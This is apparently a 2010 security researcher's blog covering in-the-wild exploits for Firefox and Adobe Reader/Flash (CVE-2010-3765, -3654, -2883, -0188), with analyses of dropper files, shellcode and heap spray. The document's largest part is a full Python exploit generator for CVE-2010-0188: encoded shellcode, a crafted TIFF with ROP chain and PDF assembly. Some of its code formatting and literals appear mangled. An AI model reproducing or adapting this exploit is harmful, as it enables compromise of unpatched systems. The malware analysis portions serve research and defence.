Friday, October 29, 2010

Firefox Exploit (CVE-2010-3765)

Bug patched at firefox 3.6.12 .
Update your browser !

Firefox exploit from the wild

working on windows xp firefox version 3.6.8 - 3.6.11

source code of exploit

virustotal scan results

Thursday, October 28, 2010

New Adobe 0day (bug in flash player),CVE-2010-3654

New bug, successful exploitation of latest adobe reader and flash player

Remotely exploitable.

Adobe confirms exploit

Bug exist in authplay.dll

Already vulnerability actively exploited in the wild against Adobe Reader.
Look at Mila's Blog:

Exploit from the wild successful works under Adobe Reader 9.4.0 on windows xp.
pdf size 241,679 bytes.

Swf file size -22,946 bytes.

swf decompiled looks like

this is curvedPolygon.
possibly related to

Exploit use js heap spray

source code of heap spray
nop slide 0x58585858
exploit feel memory as showed in image

Exploit use ROP technic to allocate memory end copy shellcode.

shellcode drops in %temp% directory
~.exe , ~temp.bat, pdf named same as pdf.

dropped files are located here
Password is "infected" .

to be continued ...

Friday, September 17, 2010

Adobe 0-day CVE-2010-2883 Made in Korea!

Lets look at CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson pdf file from Mila.
One of the files that was dropped was hcp.dll signed with certificate.

File Header

File compiled with visual studio 6.0 at 30/08/2010 23:49:52.
and it was captured by Mila on 07/09/2010. Looks like it was undetected and unknown 0-day only for one week.

In resource system lang
Child Type: VarFileInfo
Translation: 1042/1200


Language is Korean Unicode.

File Write on C++ with MFC.

Exported functions are:

and from shellcode called function StartUp.

Decompiled hcp.dll

An my opinion :
1. The file loader hcp.dll and the exploit were written by different people because of the difference in the quality of programming. Loader hcp.dll was written by a programmer with much lower skills, 'cos its writen on C++ with MFC and does not use any Firewall bypass Technique.

2. Looks like hcp.dll had digital signature only to bypass AV.

3. If the loader file made on a system with default Korean language (Korean Windows), then it was not from China but from Korea.

Monday, September 13, 2010

CVE-2010-2883 poc

I received this exploit from Mila

My tests
Windows VersionAdobe Reader Versionexploitable


Decoded JS (click on the picture to enlarge)


The shellcode is very interesting, it compatible for windows 7, drops dll and call function by address from dll.

It get functions by name

SearchMask is dword, where begin data of embeded dll in pdf

and at the end after put in %temp% dir hcp.dll ,
shellcode call loadlibraryA hcp.dll , then call function StartUp by it address 17a0h

to be continued ....

Saturday, March 13, 2010

CVE-2010-0188 Adobe Working Exploit

Exploit works with Adobe Javascript disabled.
Tested : successfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3 any languages) also works with Adobe browser plugin.

Sample Exploit - Pdf file size ~2.3Kb.
Virustotal scan result of exploit 0/42 -

Update: March 17, 2010Chris Hadnagy aka loganWHD from created a nice video about active exploitation of this POC.
thnx to him.

Source code with calc.exe exec shellcode.
Title: Adobe PDF LibTiff Integer Overflow Code Execution.
Product: Adobe Acrobat Reader
Version: 8.0 - 8.2, 9.0 - 9.3
CVE: 2010-0188
Author: villy (villys777 at
Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP (SP2, SP3)

import sys
import base64
import struct
import zlib
import StringIO


# windows/exec - 227 bytes
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
buf += "\x09\xc1\x5f\x00"

class CVE20100188Exploit:
def __init__(self,shellcode):
self.shellcode = shellcode

def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)

tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff

def gen_xml(self):
xml= '''<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="">
<config xmlns="">
<template baseProfile="interactiveForms" xmlns="">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<imageEdit />
<?templateDesigner expand 1?>
<?templateDesigner expand 1?>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
<xfa:datasets xmlns:xfa="">
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1>
<PDFSecurity xmlns="" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
<pageArea name="PageArea1" />

return xml

def gen_pdf(self):
xml = zlib.compress(self.gen_xml())
1 0 obj
<</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
''' + xml+'''
2 0 obj
<</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
3 0 obj
<</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
4 0 obj
<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
5 0 obj
<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
6 0 obj
<</Kids [5 0 R]/Type /Pages/Count 1>>
7 0 obj
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
8 0 obj
<</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
endobj xref
<</Root 7 0 R/Size 9>>
return pdf

if __name__=="__main__":
print __doc__
if len(sys.argv) != 2:
print "Usage: %s [output.pdf]" % sys.argv[0]

print "Creating Exploit to %s\n"% sys.argv[1]
f = open(sys.argv[1],mode='wb')
print "[+] done !"


Friday, March 12, 2010

CVE-2010-0188 - Adobe Pdf libtiff exploits analysis

Please see some of my research on Mila's Contagio Dump blog.

Part 1. invitation.pdf
Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7.

This pdf can be easily unpacked with pdftk or It is using CVE-2006-3459 libtiff vulnerability, let look at tiff files.

At the end of the file we see integer overflow, you can also see unnecessary data referencing to like /bin/sh /bin/id , this is linux shellcode to execute /bin/id, i think it is because they used the following exploit from Security Focus, and did not change the shellcode.

However, the main shellcode is on the top of the file:

I disassembled the shellcode and it's searching in memory for 0x4656434b04068919,
and then for second 0x4b614b6106118119

The xored file is located between these dwords. The shellcode spawns c:\adobe_update.exe (10608 bytes) , c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) - this is a legitimate pdf file.

Decompiled shellcode is available here .

The dexored embeded data looks like this:
In the beginning of there file there are three dwords, in which the size of generated files is located, followed by the three files together: adobe_updater.exe - this file executess c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) and self deletes after that. ( Virustotal scan result )

Part 2. Another PDF for 8.x
This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.
It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode

See below deobfuscated javascript for heap spray: